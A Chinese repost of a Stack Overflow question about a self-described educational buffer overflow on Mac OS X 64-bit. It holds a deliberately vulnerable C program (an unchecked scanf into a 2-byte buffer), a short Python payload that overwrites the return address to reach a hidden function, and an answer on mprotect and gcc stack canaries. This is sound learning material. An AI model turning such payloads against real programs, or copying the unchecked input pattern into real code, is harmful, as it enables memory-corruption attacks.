gpt4 book ai didi

c - 使用 scanf 的简单缓冲区溢出(Mac OS X 10.6.5 64 位)

转载 作者:行者123 更新时间:2023-12-05 01:37:50 34 4
gpt4 key购买 nike

出于教育目的,我正在尝试完成将程序定向到不同地址的缓冲区溢出。

这是c程序:

#include <stdio.h> 
#include <stdlib.h>
#include <string.h>

void secret1(void) {
puts("You found the secret function No. 1!\n");
}

int main () {
char string[2];
puts("Input: ");
scanf("%s", string);
printf("You entered %s.\n", string);
return 0;
}

我使用 gdb 查找 secret1 的地址以及我的变量字符串到 RIP 的偏移量。使用这些信息,我创建了以下 python-exploit:
import struct
rip = 0x0000000100000e40
print("A"*24 + struct.pack("<q", rip))

到目前为止一切正常 - 程序跳转到 secret1,然后因“段错误”而崩溃。

但是,如果我像这样扩展我的程序:
...
void secret1(void) {
puts("You found the secret function No. 1!\n");
}

void secret2(void) {
puts("You found the secret function No. 2!\n");
}

void secret3(void) {
puts("You found the secret function No. 3!\n");
}
...

...它没有跳转到任何功能的 SegFaults,即使新的假 RIP 是正确的(即 secret1 为 0x0000000100000d6c,secret2 为 0x0000000100000d7e)。就 gdb 告诉我的(或者不是吗?)而言,偏移量保持不变。

我注意到当程序“足够大”以将 secret 功能放置在以 0x100000 结尾的内存区域时,我的任何尝试都不起作用d .. - 当它们位于 0x100000 的某个位置时,它就像一个魅力。 e ..

当我在 32 位模式(地址相应更改)但在 64 位模式下编译时,它也可以与多个 secret 函数一起使用。
-fno-stack-protector // doesn't make any difference.

有人可以向我解释这种奇怪的行为吗?非常感谢!

最佳答案

也许创建多个隐藏函数会将它们全部放在没有执行权限的内存页面中...尝试使用 mprotect 显式授予该页面的 RWX 权限。可能是其他一些事情,但这是我要解决的第一个问题。

至于 -fno-stack-protector gcc 选项,我一度确信这在 gcc 4.2.1 上被混淆了。但是在玩了一会儿之后,我了解到为了启用金丝雀堆栈保护,sizeof(buffer) >= 8 必须为真。此外,它必须是 char 缓冲区,除非您指定 -fstack-protector-all 或 -fnostack-protector-all 选项,即使对于不包含 char 缓冲区的函数,这也会启用金丝雀。我正在运行具有上述 gcc 版本的 OS X 10.6.5 64 位,并且在我正在编写的缓冲区溢出漏洞利用代码段上,我的堆栈在使用 -fstack-protector-all 编译而不是在没有相关选项的情况下编译时发生了变化(可能是因为被利用的函数没有字符缓冲区)。因此,如果您想确定禁用或启用此功能,请确保使用选项的 -all 变体。

关于c - 使用 scanf 的简单缓冲区溢出(Mac OS X 10.6.5 64 位),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/4584208/

34 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com